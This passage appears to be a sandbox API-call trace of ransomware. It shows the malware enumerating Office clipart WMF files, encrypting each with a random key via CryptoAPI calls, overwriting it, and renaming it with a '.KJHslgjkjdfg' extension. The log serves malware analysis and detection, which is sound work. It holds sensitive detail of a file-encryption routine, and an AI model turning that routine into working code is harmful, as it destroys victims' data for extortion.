returned 1 [0203.895] CloseHandle (hObject=0x130) returned 1 [0203.895] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0203.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.897] GetProcessHeap () returned 0x2ef0000 [0203.897] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.897] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.897] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.899] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.899] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.899] GetProcessHeap () returned 0x2ef0000 [0203.899] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.899] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.899] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.899] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.899] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.899] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.899] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.900] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.900] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.900] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c4e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c4e, lpOverlapped=0x0) returned 1 [0203.901] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50) returned 1 [0203.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.901] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c50, lpOverlapped=0x0) returned 1 [0203.902] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.902] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.902] SetEndOfFile (hFile=0x130) returned 1 [0203.904] GetProcessHeap () returned 0x2ef0000 [0203.904] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.904] GetProcessHeap () returned 0x2ef0000 [0203.904] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.kjhslgjkjdfg")) returned 1 [0203.906] CloseHandle (hObject=0x130) returned 1 [0203.906] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199307.WMF", cAlternateFileName="")) returned 1 [0203.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.907] GetProcessHeap () returned 0x2ef0000 [0203.907] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.907] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.907] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.910] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.910] GetProcessHeap () returned 0x2ef0000 [0203.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.910] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.910] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.911] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.911] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.911] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc37e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc37e, lpOverlapped=0x0) returned 1 [0203.913] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc380, dwBufLen=0xc380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc380) returned 1 [0203.913] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.913] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc380, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc380, lpOverlapped=0x0) returned 1 [0203.914] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.914] SetEndOfFile (hFile=0x130) returned 1 [0203.917] GetProcessHeap () returned 0x2ef0000 [0203.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.917] GetProcessHeap () returned 0x2ef0000 [0203.917] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.kjhslgjkjdfg")) returned 1 [0203.919] CloseHandle (hObject=0x130) returned 1 [0203.919] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x662a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199423.WMF", cAlternateFileName="")) returned 1 [0203.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.920] GetProcessHeap () returned 0x2ef0000 [0203.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.921] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.921] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.921] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.924] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.924] GetProcessHeap () returned 0x2ef0000 [0203.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.924] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.925] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.925] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.925] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x662a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x662a, lpOverlapped=0x0) returned 1 [0203.926] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630, dwBufLen=0x6630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6630) returned 1 [0203.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.927] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6630, lpOverlapped=0x0) returned 1 [0203.927] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.927] SetEndOfFile (hFile=0x130) returned 1 [0203.930] GetProcessHeap () returned 0x2ef0000 [0203.930] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.930] GetProcessHeap () returned 0x2ef0000 [0203.930] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.kjhslgjkjdfg")) returned 1 [0204.024] CloseHandle (hObject=0x130) returned 1 [0204.024] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199429.WMF", cAlternateFileName="")) returned 1 [0204.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.025] GetProcessHeap () returned 0x2ef0000 [0204.025] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.025] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.026] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.028] GetProcessHeap () returned 0x2ef0000 [0204.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.029] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.029] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.029] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4124, lpOverlapped=0x0) returned 1 [0204.031] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130, dwBufLen=0x4130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4130) returned 1 [0204.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.031] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4130, lpOverlapped=0x0) returned 1 [0204.031] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.031] SetEndOfFile (hFile=0x130) returned 1 [0204.034] GetProcessHeap () returned 0x2ef0000 [0204.034] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.034] GetProcessHeap () returned 0x2ef0000 [0204.034] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.kjhslgjkjdfg")) returned 1 [0204.036] CloseHandle (hObject=0x130) returned 1 [0204.036] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199465.WMF", cAlternateFileName="")) returned 1 [0204.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.037] GetProcessHeap () returned 0x2ef0000 [0204.037] RtlAllocateHeap (HeapHandle=0x2ef0000, 